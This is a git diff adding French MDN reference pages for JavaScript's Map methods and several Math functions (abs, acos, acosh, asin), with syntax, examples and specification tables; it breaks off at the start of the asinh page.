diff --git a/files/fr/web/javascript/reference/global_objects/map/has/index.html b/files/fr/web/javascript/reference/global_objects/map/has/index.html new file mode 100644 index 0000000000..aed14c0662 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/has/index.html @@ -0,0 +1,79 @@ +--- +title: Map.prototype.has() +slug: Web/JavaScript/Reference/Objets_globaux/Map/has +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/has +--- +
{{JSRef}}
+ +

La méthode has() renvoie un booléen permettant de déterminer si l'objet Map en question contient la clé donnée.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}
+ + + +

Syntaxe

+ +
maMap.has(clé);
+ +

Paramètres

+ +
+
clé
+
Ce paramètre obligatoire correspond à la clé dont on veut savoir si elle appartient à l'objet Map.
+
+ +

Valeur de retour

+ +

Cette méthode renvoie un booléen : true si un élément avec cette clé existe au sein de l'objet Map et false sinon.

+ +

Exemples

+ +
var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.has("truc");  // renvoie true
+maMap.has("machin");// renvoie false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.has")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Map.prototype.set()")}}
    • +
  • {{jsxref("Map.prototype.get()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/index.html b/files/fr/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..b844416b16 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,277 @@ +--- +title: Map +slug: Web/JavaScript/Reference/Objets_globaux/Map +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map +--- +
{{JSRef}}
+ +

L'objet Map représente un dictionnaire, autrement dit une carte de clés/valeurs. N'importe quelle valeur valable en JavaScript (que ce soit les objets ou les valeurs de types primitifs) peut être utilisée comme clé ou comme valeur.

+ +

L'ordre d'insertion des clés est mémorisé dans l'objet et les boucles sur les Map parcourent les clés dans cet ordre.

+ +

Syntaxe

+ +
new Map([iterable])
+ +

Paramètres

+ +
+
itérable
+
Un tableau ({{jsxref("Array")}}) ou tout autre objet itérable dont les éléments sont des paires clé/valeur (par exemple un tableau de la forme [[1 , "toto"],[2, "truc"]]). Chaque paire clé/valeur sera ajoutée au nouvel objet Map. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.
+
+ +

Description

+ +

Un objet Map permet de retrouver ses éléments dans leur ordre d'insertion. Par exemple, une boucle {{jsxref("Instructions/for...of","for...of")}} renverra un tableau de [clé, valeur] pour chaque itération.

+ +

On notera qu'un objet Map contenant des objets ne sera parcouru que dans l'ordre d'insertion de ces objets. Avec ES2015, l'ordre d'itération est fixé pour les objets. Toutefois, pour les versions antérieures d'ECMAScript, cet ordre n'est pas garanti.

+ +

Égalité des clés

+ +

L'égalité des clés est testée avec l'algorithme basé sur l'égalité de valeurs :

+ +
    +
  • {{jsxref("NaN")}} est considéré égal à NaN (bien que, pour l'égalité stricte NaN !== NaN)
    • +
  • les autres valeurs sont considérées égales au sens de l'égalité stricte (l'opérateur  ===).
    • +
+ +

Dans les versions précédentes des brouillons ECMAScript 2015 (ES6) -0 et +0 étaient considérés différents (bien que -0 === +0), ceci a été changé dans les versions ultérieures et a été adapté avec Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) et une version nocturne de Chrome.

+ +

Comparaison entre objets et maps

+ +

Les {{jsxref("Object", "objets","",1)}} sont similaires aux Maps, chacun manipulant des clés associées à des valeurs, récupérant ces valeurs, supprimant des clés... Il n'y avait auparavant pas d'alternatives natives et c'est pourquoi, historiquement, les objets JavaScript ont été utilisés comme des Maps. Malgré tout, il y a des différences importantes entre Objects et Maps qui permettent de distinguer une utilisation des objets Map plus efficace :

+ +
    +
  • Un Object possède un prototype, certaines clés par défaut peuvent donc entrer en collision avec les clés qu'on souhaite créer. À partir d'ES5, on peut écrire map = {{jsxref("Object.create", "Object.create(null)")}} mais cette formulation est rarement utilisée.
    • +
  • Les clés d'une Map sont ordonnées tandis que les clés d'un objet n'ont pas d'ordre particulier. Ainsi, quand on parcourt une Map, on obtient les clés selon leur ordre d'insertion. On notera qu'à partir d'ECMAScript 2015, la spécification pour les objets indique de conserver l'ordre de création pour les clés qui sont des chaînes et des symboles.
    • +
  • Les clés d'un Object sont des {{jsxref("String", "chaînes de caractères","",1)}} ou des symboles (cf. {{jsxref("Symbol")}}), alors que pour une Map ça peut être n'importe quelle valeur.
    • +
  • Il est possible d'obtenir facilement la taille d'une Map avec size. En revanche, pour un Object il faudra compter « manuellement ».
    • +
  • Un objet Map est un itérable et on peut donc le parcourir directement. En revanche, itérer sur un Object nécessite de récupérer les clés de l'objet pour ensuite les parcourir.
    • +
  • Un objet Map permettra d'obtenir de meilleures performances si on ajoute et supprime des éléments fréquemment.
    • +
+ +

Propriétés

+ +
+
Map.length
+
La valeur de la propriété length est 0.
+ Attention, pour compter le nombre d'élément contenu dans une Map, on utilisera plutôt {{jsxref("Map.prototype.size")}}.
+
{{jsxref("Map.@@species", "get Map[@@species]")}}
+
La fonction constructeur utilisée pour créer des objets dérivées.
+
{{jsxref("Map.prototype")}}
+
Représente le prototype du constructeur Map. Permet l'addition de propriétés à tous les objets Map.
+
+ +

Instances de Map

+ +

Toutes les instances de Map héritent de {{jsxref("Map.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Méthodes')}}

+ +

Exemples

+ +

Utiliser un objet Map

+ +
const myMap = new Map();
+
+const objectKey = {},
+    functionKey = function () {},
+    stringKey = "une chaîne";
+
+// définir les valeurs
+myMap.set(stringKey, "valeur associée à 'une chaîne'");
+myMap.set(objectKey, "valeur associée à objectKey");
+myMap.set(functionKey, "valeur associée à functionKey");
+
+myMap.size; // 3
+
+// récupérer les valeurs
+myMap.get(stringKey);     // "valeur associée à 'une chaîne'"
+myMap.get(objectKey);      // "valeur associée à objetClé"
+myMap.get(functionKey);   // "valeur associée à fonctionClé"
+
+myMap.get("une chaîne");  // "valeur associée à 'une chaîne'"
+                          // car chaineClé === 'une chaîne'
+myMap.get({});            // indéfini car objetClé !== {}
+myMap.get(function() {}); // indéfini car fonctionClé !== function () {}
+
+ +

Utiliser NaN comme clé

+ +

{{jsxref("NaN")}} peut être utilisé comme une clé. Bien que NaN ne soit pas strictement égal à lui-même (NaN !== NaN est vérifié), on peut bâtir l'exemple suivant car on ne peut pas distinguer deux valeurs NaN :

+ +
const myMap = new Map();
+myMap.set(NaN, "not a number");
+
+myMap.get(NaN); // "not a number"
+
+const otherNaN = Number("toto");
+myMap.get(otherNaN); // "not a number"
+
+ +

Parcourir des objets Maps avec for..of

+ +

Il est possible de parcourir les objets Map grâce à des boucles for..of :

+ +
const myMap = new Map();
+myMap.set(0, "zéro");
+myMap.set(1, "un");
+for (const [key, value] of myMap) {
+  console.log(`${key} = ${value}`);
+}
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+
+for (const key of myMap.keys()) {
+  console.log(key);
+}
+// On aura 2 lignes : la première avec "0"
+// et la seconde avec "1"
+
+for (const value of myMap.values()) {
+  console.log(valeur);
+}
+// On aura 2 lignes : la première avec "zéro"
+// et la seconde avec "un"
+
+for (const [key, value] of myMap.entries()) {
+  console.log(`${key} = ${value}`);
+}
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+
+myMap.forEach(function(value, key) {
+  console.log(`${key} = ${value}`);
+});
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+
+ +

Relation avec les objets Array

+ +
const keyValuePair = [["clé1", "valeur1"], ["clé2", "valeur2"]];
+
+// On utilise le constructeur Map
+// pour transformer un tableau de clés/valeurs
+// en un objet map
+const myMap = new Map(keyValuePair);
+
+myMap.get("clé1"); // renvoie "valeur1"
+
+// On utilise la fonction Array.from pour transformer
+// une map en un tableau de clés/valeurs
+console.log(Array.from(myMap)); // affichera la même chose que tableauCléValeur
+
+// On peut aussi l'utiliser pour n'extraire que les clés
+// ou les valeurs et créer le tableau associé
+console.log(Array.from(myMap.keys())); // affichera ["clé1", "clé2"]
+ +

Cloner et fusionner des objets Map

+ +

Il est possible de cloner des Map comme on clone des tableaux :

+ +
const original = new Map([
+  [1, 'un']
+]);
+
+const clone = new Map(original);
+
+console.log(clone.get(1)); // un
+console.log(original === clone); // false. Utile pour une comparaison superficielle
+ +

Attention, la donnée contenue dans la Map n'est pas clonée.

+ +

Il est également possible de fusionner deux Map en conservant le critère d'unicité sur les clés :

+ +
const first = new Map([
+  [1, 'un'],
+  [2, 'deux'],
+  [3, 'trois'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// On fusionne les deux maps. C'est la "dernière" version
+// de la clé qui l'emporte.
+// L'opérateur de décomposition nous permet principalement ici
+// de convertir une map en un tableau
+const fusion = new Map([...first, ...second]);
+
+console.log(fusion.get(1)); // uno
+console.log(fusion.get(2)); // dos
+console.log(fusion.get(3)); // trois
+ +

Il est également possible de fusionner des objets Map avec des objets Array :

+ +
const first = new Map([
+  [1, 'un'],
+  [2, 'deux'],
+  [3, 'trois'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// On peut fusionner des Maps avec un tableau
+// Là encore c'est le dernier exemplaire de la clé qui l'emporte
+const fusion = new Map([...first, ...second, [1, 'eins']]);
+
+console.log(fusion.get(1)); // eins
+console.log(fusion.get(2)); // dos
+console.log(fusion.get(3)); // trois
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map-objects', 'Map')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/map/keys/index.html b/files/fr/web/javascript/reference/global_objects/map/keys/index.html new file mode 100644 index 0000000000..4c9eaef896 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/keys/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.keys() +slug: Web/JavaScript/Reference/Objets_globaux/Map/keys +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Méthode + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys +--- +
{{JSRef}}
+ +

La méthode keys() renvoie un objet Iterator qui contient les clés de chaque élément de l'objet Map, dans leur ordre d'insertion.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}
+ + + +

Syntaxe

+ +
maMap.keys()
+ +

Valeur de retour

+ +

Un nouvel objet Iterator {{jsxref("Map")}}.

+ +

Exemples

+ +

Utiliser keys()

+ +
var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = maMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.keys")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype.entries()")}}
    • +
  • {{jsxref("Map.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/set/index.html b/files/fr/web/javascript/reference/global_objects/map/set/index.html new file mode 100644 index 0000000000..6c74f2d342 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/set/index.html @@ -0,0 +1,96 @@ +--- +title: Map.prototype.set() +slug: Web/JavaScript/Reference/Objets_globaux/Map/set +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/set +--- +
{{JSRef}}
+ +

La méthode set() ajoute un nouvel élément avec une clé et une valeur données à un objet Map.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}
+ + + +

Syntaxe

+ +
maMap.set(clé, valeur);
+ +

Paramètres

+ +
+
clé
+
Ce paramètre représente la clé de l'élément à ajouter à l'objet Map.
+
valeur
+
Ce paramètre représente la valeur de l'élément à ajouter à l'objet Map.
+
+ +

Valeur de retour

+ +

L'objet Map courant (auquel l'élément a été ajouté).

+ +

Exemples

+ +

Utiliser la méthode set()

+ +
var maMap = new Map();
+
+// On ajoute de nouveaux éléments à l'objet map
+maMap.set("truc", "toto");
+maMap.set(1, "bidule");
+
+// On met à jour un élément
+maMap.set("truc", "fuuu");
+
+ +

Utiliser la méthode set() avec un enchaînement

+ +

La méthode set() renvoie le même objet Map et on peut donc la « chaîner » pour des opérations successives :

+ +
// On ajoute de nouveaux éléments
+// en enchaînant les appels à set()
+maMap.set('truc', 'toto')
+     .set(1, 'tototruc')
+     .set(2, 'bidule');
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.set")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Map.prototype.get()")}}
    • +
  • {{jsxref("Map.prototype.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/size/index.html b/files/fr/web/javascript/reference/global_objects/map/size/index.html new file mode 100644 index 0000000000..28ef0921c4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/size/index.html @@ -0,0 +1,68 @@ +--- +title: Map.prototype.size +slug: Web/JavaScript/Reference/Objets_globaux/Map/size +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/size +--- +
{{JSRef}}
+ +

L'accesseur size est une propriété renvoyant le nombre d'éléments d'un objet {{jsxref("Map")}}.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}
+ + + +

Description

+ +

La valeur de size est un entier représentant le nombre d'entrées d'un objet Map. Le mutateur correspond à cette propriété est {{jsxref("undefined")}}, on ne peut pas donc pas modifier cette propriété.

+ +

Exemple

+ +

Utiliser size

+ +
var maMap = new Map();
+maMap.set("a", "alpha");
+maMap.set("b", "beta");
+maMap.set("g", "gamma");
+
+maMap.size // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ESDraft')}} 
+ +

Compatibliité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.size")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/values/index.html b/files/fr/web/javascript/reference/global_objects/map/values/index.html new file mode 100644 index 0000000000..6db3129d2e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/values/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.values() +slug: Web/JavaScript/Reference/Objets_globaux/Map/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/values +--- +
{{JSRef}}
+ +

La méthode values() renvoie un objet Iterator qui contient les valeurs de chacun des éléments contenu dans l'objet Map donné, dans leur ordre d'insertion.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}
+ + + +

Syntaxe

+ +
maMap.values()
+ +

Valeur de retour

+ +

Un nouvel objet Iterator {{jsxref("Map")}}.

+ +

Exemple

+ +

Utiliser values()

+ +
var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "licorne");
+
+var mapIter = maMap.values();
+
+console.log(mapIter.next().value); // "toto"
+console.log(mapIter.next().value); // "truc"
+console.log(mapIter.next().value); // "licorne"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.values")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype.entries()")}}
    • +
  • {{jsxref("Map.prototype.keys()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/abs/index.html b/files/fr/web/javascript/reference/global_objects/math/abs/index.html new file mode 100644 index 0000000000..925364b1ca --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/abs/index.html @@ -0,0 +1,103 @@ +--- +title: Math.abs() +slug: Web/JavaScript/Reference/Objets_globaux/Math/abs +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs +--- +
{{JSRef}}
+ +

La fonction Math.abs() retourne la valeur absolue d'un nombre, c'est-à-dire

+ +

Math.abs(x)=|x|={xsix≥0-xsix<0{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x & \text{si} \quad x \geq 0 \\ -x & \text{si} \quad x < 0 \end{cases}

+ +
{{EmbedInteractiveExample("pages/js/math-abs.html")}}
+ + + +

Syntaxe

+ +
Math.abs(x);
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur absolue

+ +

La valeur absolue du nombre passé en argument.

+ +

Description

+ +

abs est une méthode statique de l'objet Math et doit toujours être utilisée avec la syntaxe Math.abs().

+ +

Exemples

+ +

Utiliser Math.abs()

+ +

Si la méthode est utilisée avec une chaîne de caractères non numérique, avec un tableau à plus d'un élément, sans paramètre ou avec {{jsxref("undefined")}}, la valeur retournée sera {{jsxref("NaN")}}. Si elle est utilisée avec {{jsxref("null")}}, la fonction renverra 0.

+ +
Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs("string"); // NaN
+Math.abs();         // NaN
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.abs")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.ceil()")}}
    • +
  • {{jsxref("Math.floor()")}}
    • +
  • {{jsxref("Math.round()")}}
    • +
  • {{jsxref("Math.sign()")}}
    • +
  • {{jsxref("Math.trunc()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/acos/index.html b/files/fr/web/javascript/reference/global_objects/math/acos/index.html new file mode 100644 index 0000000000..b0de810d35 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/acos/index.html @@ -0,0 +1,103 @@ +--- +title: Math.acos() +slug: Web/JavaScript/Reference/Objets_globaux/Math/acos +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos +--- +
{{JSRef}}
+ +

La fonction Math.acos() renvoie l'arc cosinus d'une valeur exprimée en radians. Cela est défini par :

+ +

∀x∊[-1;1],Math.acos(x)=arccos(x)= le seul  y∊[0;π]tel quecos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-acos.html")}}
+ + + +

Syntaxe

+ +
Math.acos(x)
+ +

Paramètres

+ +
+
x
+
Un nombre (représentant un angle exprimé en radians).
+
+ +

Valeur de retour

+ +

L'arc cosinus du nombre passé en argument si celui est compris entre -1 et 1. La méthode renvoie {{jsxref("NaN")}} sinon.

+ +

Description

+ +

La méthode acos renvoie une valeur numérique comprise entre 0 et Pi pour x compris entre -1 et 1. Si la valeur de x est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.

+ +

acos est une méhode statique de Math et doit toujours être utilisée avec la syntaxe Math.acos(), elle ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.acos()

+ +
Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+
+ +

Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, Math.acos renvoie NaN.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.acos")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/acosh/index.html b/files/fr/web/javascript/reference/global_objects/math/acosh/index.html new file mode 100644 index 0000000000..3598039002 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/acosh/index.html @@ -0,0 +1,100 @@ +--- +title: Math.acosh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/acosh +tags: + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh +--- +
{{JSRef}}
+ +

La fonction Math.acosh() renvoie l'arc cosinus hyperbolique d'un nombre.Elle est définie par :

+ +

∀x≥1,Math.acosh(x)=arcosh(x)= l'unique y≥0tel quecosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
+ + + +

Syntaxe

+ +
Math.acosh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

L'arc cosinus hyperbolique du nombre en argument. Si le nombre est inférieur à 1, la valeur renvoyée sera {{jsxref("NaN")}}.

+ +

Description

+ +

acosh étant une méthode statique de Math, il faut l'utiliser avec Math.acosh(), plutôt qu'en faisant appel à une méthode d'un autre objet créé (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.acosh()

+ +
Math.acosh(-1);  // NaN
+Math.acosh(0);   // NaN
+Math.acosh(0.5); // NaN
+Math.acosh(1);   // 0
+Math.acosh(2);   // 1.3169578969248166
+ +

Pour les valeurs strictement inférieures à 1 Math.acosh renvoie {{jsxref("NaN")}}.

+ +

Prothèse d'émulation (polyfill)

+ +

Pour tout x≥1x \geq 1, arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right), on peut donc émuler cette fonction avec le code suivant :

+ +
function acosh(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.acosh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.asinh()")}}
    • +
  • {{jsxref("Math.atanh()")}}
    • +
  • {{jsxref("Math.cosh()")}}
    • +
  • {{jsxref("Math.sinh()")}}
    • +
  • {{jsxref("Math.tanh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/asin/index.html b/files/fr/web/javascript/reference/global_objects/math/asin/index.html new file mode 100644 index 0000000000..c830fc7b11 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/asin/index.html @@ -0,0 +1,102 @@ +--- +title: Math.asin() +slug: Web/JavaScript/Reference/Objets_globaux/Math/asin +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin +--- +
{{JSRef}}
+ +

La fonction Math.asin() renvoie l'arc sinus d'un nombre (en radians). Elle est définie par :

+ +

∀x∊[-1;1],Math.asin(x)=arcsin(x)= le seul y∊[-π2;π2]tel quesin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-asin.html")}}
+ + + +

Syntaxe

+ +
Math.asin(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

L'arc sinus du nombre passé en argument (exprimé en radians). Si ce nombre n'est pas compris entre -1 et 1, la valeur renvoyée sera {{jsxref("NaN")}}.

+ +

Description

+ +

La méthode Math.asin() renvoie une valeur numérique comprise entre -π2-\frac{\pi}{2} et π2\frac{\pi}{2} pour x compris entre -1 et 1. Si x est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.

+ +

Math.asin() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.asin(), elle ne doit pas être appelée à partir d'un autre objet créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.asin()

+ +
Math.asin(-2);  // NaN
+Math.asin(-1);  // -1.570796326794897 (-pi/2)
+Math.asin(0);   // 0
+Math.asin(0.5); // 0.5235987755982989
+Math.asin(1);   // 1.570796326794897 (pi/2)
+Math.asin(2);   // NaN
+ +

Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, Math.asin() renvoie {{jsxref("NaN")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.asin', 'Math.asin')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Math.asin")}}
+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/asinh/index.html b/files/fr/web/javascript/reference/global_objects/math/asinh/index.html new file mode 100644 index 0000000000..3d0d55ecad --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/asinh/index.html @@ -0,0 +1,91 @@ +--- +title: Math.asinh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/asinh +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/asinh +--- +
{{JSRef}}
+ +

La fonction Math.asinh() renvoie l'arc sinus hyperbolique d'un nombre :

+ +

